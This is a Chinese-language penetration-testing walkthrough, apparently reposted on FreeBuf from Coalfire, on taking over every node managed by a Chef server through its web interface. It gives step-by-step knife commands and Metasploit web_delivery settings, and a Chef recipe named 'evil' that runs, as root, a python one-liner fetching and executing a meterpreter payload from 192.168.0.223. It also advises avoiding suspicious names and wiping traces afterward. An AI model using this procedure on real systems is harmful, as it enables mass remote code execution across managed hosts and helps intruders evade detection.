这篇文章主要是想警告使用Chef的朋友,你们的管理员账户很可能早已在Chef web interface中泄露。管理员通常无法设置默认管理凭据。在这种情况下,Chef server主页将为你提供。
在最近的一次渗透测试中,我成功拿下了一台Chef server。然而对于Chef我并不了解,我使用较多的是Puppet,可以说在系统方面的大部分时间我都在使用Puppet。由于此前我从未遇到过Chef,因此我需要在最短的时间内,找出一个可以使用Chef基础架构shell一定范围内所有敏感主机的方法。以下是我的实行过程。
注意:所有这些很可能都是从命令行执行的。我通过Chef web interface获取了一个帐户,并且大部分时间都花在了GUI上。如果你知道如何在命令行上完成这些操作,你可以通过我的联系方式告知我。谢谢!
首先,需要创建一个新的管理用户用于上传cookbooks。如果你手头已经有一个使用习惯的管理用户,那么你可以忽略这一步。
记下创建新管理用户后界面为你提供的专用RSA密钥。
如果你还没有安装过Chef,那么请在你的攻击机上安装它。出现提示时请输入Chef URL。使用Chef server在其SSL证书中的主机名(不是IP地址或别名/cname),否则最终将导致你可能无法使用knife连接。
apt-get install chef
安装完成后,配置knife连接到Chef server。确保输入的URL和用户名无误。其他选项你可以设置为默认。
knife configure
将你的私有RSA密钥写入~/.chef目录(.pem文件)中。同时,请确保你已相应地配置了你的~/.chef/knife.rb文件。
使用你的私钥,下载Chef server的证书并验证knife连接是否正常工作。使用以下命令来执行此操作。
knife ssl fetch
knife ssl check
快速浏览可用的cookbooks,确保knife连接正常。
knife cookbook list
现在,你需要创建一个cookbook和recipe。我使用以下命令来执行此操作。但该命令似乎已被弃用,你可以根据提示来替换该命令。
knife cookbook create evil
接着,我们来启动Metasploit,并创建一个web-delivery multi-handler。这里我选择使用的是python multi-handler payload。
use exploit/multi/script/web_delivery
set SRVPORT 8080
set SRVHOST 192.168.0.223
set URIPATH 2w9kwS11
set PAYLOAD python/meterpreter/reverse_tcp
set LHOST 192.168.0.223
set LPORT 8443
set TARGET 0
run
成功执行后,我们将会获取到以下输出结果:
python -c "import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.0.223:8080/2w9kwS11');exec(r.read());"
填充你的cookbook模板文件。下面所有你需要的都在recipes/default.rb中。
execute "evil_commands" do
command "python -c \"import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.0.223:8080/2w9kwS11');exec(r.read());\""
user "root"
action :run
end
填充metadata.rb文件。以下为演示,在实际操作中请尽量避免使用类似于 'evil' 或 'pwnage' 等字符串。
是时候把你的Cookbook上传到服务器上了。
knife cookbook upload evil
请确认你的cookbook现在是否已存在于Chef服务器中。你可以在命令行或Web界面中执行以下操作。
knife cookbook list | grep evil
导航到网站上的“Cookbooks”列表。
将cookbook recipe分配给你想要shell的目标,并将其添加到每个节点的运行列表中。 转到节点列表,单击你感兴趣的节点,单击Edit。
在左下栏的'Available Recipes'列表中找到你的cookbook recipe,然后将其拖到右上角的 'Run List' 中。点击底部的 'Save Node'按钮提交更改。
看!成功获取到了一个meterpreter shell。
为了操作的安全性,一旦你成功获取到了shell连接,请返回到web界面,并从已成功连接的节点运行列表中删除recipe。你不需要从相同的端点产生多个shell。
在完成你的任务后,请务必清除你与之交互过的系统中存在的任何痕迹。kill你的Meterpreter会话,删除你创建的管理用户以及recipe。你可以通过以下命令完成。
关闭会话:
sessions -K
主机与knife的连接:
knife cookbook delete evil
*参考来源:coalfire,FB小编 secist 编译,转载请注明来自FreeBuf.COM